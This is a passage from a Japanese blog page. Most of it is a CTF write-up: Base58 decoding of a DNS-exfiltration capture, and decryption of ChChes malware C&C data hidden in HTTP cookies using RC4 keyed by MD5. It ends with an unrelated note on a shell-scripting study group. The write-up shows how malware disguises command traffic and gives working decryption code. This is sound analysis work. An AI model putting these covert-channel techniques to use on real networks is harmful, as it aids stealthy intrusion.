1HxYudvTV2vRdx4kLQvMLc7UPfCfjswRxptxyffRcMNV4fpnSXHKVKVNo7rnmbZjyAgQmNiA4tG2yaVLqKQ6mdzH914mH7inV9keb4evbazKxFhumbhtKr4YAm7VqUxTiwGrqcsdg9XwHuwZG69BmoRkhJhVFRkxe2qSQGrk6qGMP4MPKYZXzCJEU14sq3rGEU23avuKUjCPcEVcMboGvjH6N7TG8zgQmnhrXaDQVqQ6dBiGwg3eESUiXFQxZLZFecXiu1gHG7p75QCedSV5EEwdpyEL1rJWTji8WvAKDGpkqXKDxJPQW78DmTtdVDNWgEVqkBRKp4HiYcSV3WZ71vpm6LzkEW7UyoQnF3AfcVuFp4ogxeA9vPzZ3LoVFSts9CYgPxJW8i2KpUW1bPitDsYqqr6tK3wvLW3CWdzWrDWowzgSoFHZQ6EqiLpfVbfuvj5FyURHsmDecGFnnAdBFckx6hJeuagNNbK4iyT9KfPDUPoGXprsGcpeVY9SRU3nMVjuFB22ziqZxPwASjebDepePoe3LbTDwK8XFTx8JaKr5xXyGkw7cqBCzvhVWQvkRjyWhFYmfRc3S2814fatrghk9CphAcHkLfNhvU9yUmsDmwWpUXQH9ZnxUPRDVN3oEJhvG5ptZF9YJtSQdKATnif7Ut2tis18xaKdiARRi2cQiD1GTtd7NFtq9TxNmL7C2vQNGneNpGJPWb9mZMG3g4CCHaunsKyXExXL9yEjBwHq6H9unt9wAiCGVH32mvVRZbLMF4CpWRiqW8nVqCx4PpCdopakRUqZfX2iEJ4UKtU4CEYUMH23sB2XSeveHgoNtTZvaziunDXHMHSTJe3VKYRy4JQSs3W3xe3apFCkwS33mea2gfgiqwhGTifa2QAjgGsdae1RejMC5dqWjAMfXMmC6mA3b5DEDZAP5XgJqi6vZMSho8CNWQAZ1xD2RKGyCr8gCx1zsfpuL5ffFmzC7KrzZ9ZxoWRHrnWmS9E5rsgtGRn5kMtVe8jnYXZeoVxYt7uvFeLjXRfmaDXt7SmD5pz9nNwXTqZ1WhUN743CFUCeMD2ZFpT68gme2TiT17Fhwuh1EQekVwxDrQsTD2tRh3PHRatw49h9vi4FUyNnh3BJwuq9UykbJ7kq9faJQxuJiwxWRUBD9TK9G9dBn1AhcDwogPyqU3rFneZ37FL56NvaPXgVLX7d2wY7JbrzuY3SHhjECWyFWGBSpGurNmCUFf4a9bLvH8xnKXyPpLjNyBcsPTaXET3299mhHaXKTpBApDbukmRnpMkwqUJyQAvhxqiDRkrZTfKYws43sfzfabxEEWL6uaSZLTjze8avxqtDemvaPgjfMcfvqvjz66UAnraPLbymzo9PL5imY26LPinAGSJi6q3oSPAvYgboMWbDWrNbsS56v64KBaiLS28qQWdL5t3ADvL5eCR1EDEDzx74zYL3WVNcJenBQFprxj7U4hzDm22edMxLpR5daeYKmKtTcjEanULv6obrrXW5JWbEoKn4qGpatrf76fKwKMZnvwxUhz3iSLkfZQLgQoJHWvzVCRE7e7GmJwgLPri45ctU4WNuN72W8UyWzGTK'

from hashlib import sha256

# 58 character alphabet used
alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'


if bytes == str:  # python2
    iseq = lambda s: map(ord, s)
    bseq = lambda s: ''.join(map(chr, s))
    buffer = lambda s: s

def b58encode(v):

    origlen = len(v)
    v = v.lstrip(b'\0')
    newlen = len(v)

    p, acc = 1, 0
    for c in iseq(v[::-1]):
        acc += p * c
        p = p << 8

    result = ''
    while acc > 0:
        acc, mod = divmod(acc, 58)
        result += alphabet[mod]

    return (result + alphabet[0] * (origlen - newlen))[::-1]


def b58decode(v):

    if not isinstance(v, str):
        v = v.decode('ascii')

    origlen = len(v)
    v = v.lstrip(alphabet[0])
    newlen = len(v)

    p, acc = 1, 0
    for c in v[::-1]:
        acc += p * alphabet.index(c)
        p *= 58

    result = []
    while acc > 0:
        acc, mod = divmod(acc, 256)
        result.append(mod)

    return (bseq(result) + b'\0' * (origlen - newlen))[::-1]

print 'Input:\t',val
print 'Base58:\t',b58decode(val)

で、以下がフラグ

出力結果、中略
     ・
     ・
     ・
TMCTF{DNSTunnelExfil}

Analysis-Defensive 200

なんかzipファイルを渡され、中身はdataというバイナリファイルと、q.jpgというテキストファイルが入っています。

q.jpg(中身はrubyのソースコードかな?)

function rc4 {
    please implement it yourself.
}

function md5($txt){
    please implement it yourself.
}

function invoke-Encryption{
    $FileName = "ZGF0YQ=="
    $FileBase64Data = ????????
    [Byte[]] $FileBinByte = [Byte[]][Convert]::FromBase64String($FileBase64Data)
    [Byte[]] $FileNameByte = [Byte[]][Convert]::FromBase64String($FileName)
    $enc = [System.Text.Encoding]::ASCII
    $key = "Y2hjaGVz"
    $key1 = [System.Convert]::FromBase64String($key)
    $key1 = [System.Text.Encoding]::UTF8.GetString($key1)
    $key1 = md5($key1)
    $key1 = $key1.Substring(8,16)
    [Byte[]]$key1 = $enc.GetBytes($key1)
    [Byte[]]$key2 = [Byte[]][Convert]::FromBase64String($key)
    $FileBinByte = $key2 + $FileBinByte
    $FileBinByte = rc4 $FileBinByte $key1
    $tempFile=[System.Text.Encoding]::Default.GetString($FileNameByte);
    if($tempFile.Length -ne 0){
        if($FileBinByte.Length -ne 0){
            if(Test-Path "$tempFile"){rm "$tempFile"}
            $fs=New-Object System.IO.FileStream($tempFile,[System.IO.FileMode]::CreateNew)
            $fs.Write($FileBinByte,0,$FileBinByte.Length)
            $fs.Close()
        }

    }
}
invoke-Encryption

実装してねという事かと思いますが、チームメイトのcatさんがやってくれました。
ほんと天才やでぇ。

で、中身はpcapファイルでした。

20170625_tmctf_analysis-defensive200.jpg

怪しげなcookieの値があるのが解ります。

asdf=d01J5ln6eJxopAgX2SgmLRYGt5X70XRw4HL6sFoDbvWD5yQ%3D;
qwer=fJDeRjsja7z8wcPVLrZzm6jYl3UsvQC9AoduZgL24n1NYs8%3D;
zxcv=%2Fvox%2Bi3on9Iy1U%2B2itypfjagJ06762d9yfkxI%2FLgSq3a2PJXwdnQ8BhDI9ofW9HXXSQMaEXBkYdrun%2BF%2BxIi3a%2B3TvHY

cookieの値で通信内容を偽装するMalware

なんでしょうねコレ・・・。ふと、マルウェアの通信で使ってるんじゃないかと気づき(だって、DNSで偽装通信してるくらいだしね)
ちょっと調べてみました。

ありました。

Cookieヘッダーを用いてC&CサーバとやりとりするマルウエアChChes(2017-01-26)
https://www.jpcert.or.jp/magazine/acreport-ChChes.html

Cookieヘッダーを用いてC&CサーバとやりとりするマルウエアChChes(2017-01-26)

Cookieヘッダーを用いてC&CサーバとやりとりするマルウエアChChes(2017-01-26)

ちなみに、問題文には、 xiangqi とだけ書いてありました。xiangqi は「中国の将棋」の意味らしいです。ChChesと合致しますね。

なんか、このページには、この怪しげなクッキーから通信内容を復号化するソースコードまで書かれています。

ソルバ

後は・・・やるだけ!ではないです。URLエンコーディングされている箇所があるので、そこだけ置換します。

%3D → =
%2F → /
%2B → +
from Crypto.Cipher import ARC4
import hashlib

cookie_data="asdf=d01J5ln6eJxopAgX2SgmLRYGt5X70XRw4HL6sFoDbvWD5yQ=;qwer=fJDeRjsja7z8wcPVLrZzm6jYl3UsvQC9AoduZgL24n1NYs8=;zxcv=/vox+i3on9Iy1U+2itypfjagJ06762d9yfkxI/LgSq3a2PJXwdnQ8BhDI9ofW9HXXSQMaEXBkYdrun+F+xIi3a+3TvHY"
data_list = cookie_data.split(';')
dec = []
for i in range(len(data_list)):
    tmp = data_list[i]
    pos = tmp.find("=")
    key = tmp[0:pos]
    val = tmp[pos:]
    md5 = hashlib.md5()
    md5.update(key)
    rc4key = md5.hexdigest()[8:24]
    rc4 = ARC4.new(rc4key)
    dec.append(rc4.decrypt(val.decode("base64"))[len(key):])
print("[*] decoded: " + "".join(dec))

実行結果

[*] decoded: AWIN7-PC*1234*TMCTF{e3526984696bc9f89ac88d4f72abe24}?361846839?C:\Users\win7\AppData\Local\Temp?1.7.3 (1024x768)*6.1.7601.17514

第28回基準値を超えるシェル芸勉強会に参加させて頂きました!

kanata8ヶ月前に追加

シェルスクリプト大好きなんですが、毎回新しい知見が得られて、やっぱり面白いですね!
今回は難しかった。。


【問題と解答】第28回基準値を超えるシェル芸勉強会


最近は毎回Twitterのトレンド入りしてる

第28回基準値を超えるシェル芸勉強会

Youtube

第28回シェル芸勉強会(午前の部)
https://www.youtube.com/watch?v=TPzFICWp-sA

第28回シェル芸勉強会(午後の部)
https://www.youtube.com/watch?v=oDolLjPUAx4

第28回シェル芸勉強会(長いLT大会)
https://www.youtube.com/watch?v=uRElj5X0S7k

今回はLTやりました

スライドをどうぞ~

https://www.slideshare.net/kanata1/ss-75315943

内容は以下の話をまとめたものです。

難読化シェル芸

その他、知見メモ

  • LaTexの文字列編集は地獄(awkとsedでがんばってなんとかする)
  • Javascriptでもヒルベルト曲線が書ける
  • C#でもシェル芸ができる

1 2 3 ... 10 (1-10/99)

他の形式にエクスポート: Atom

クリップボードから画像を追加 (サイズの上限: 100 MB)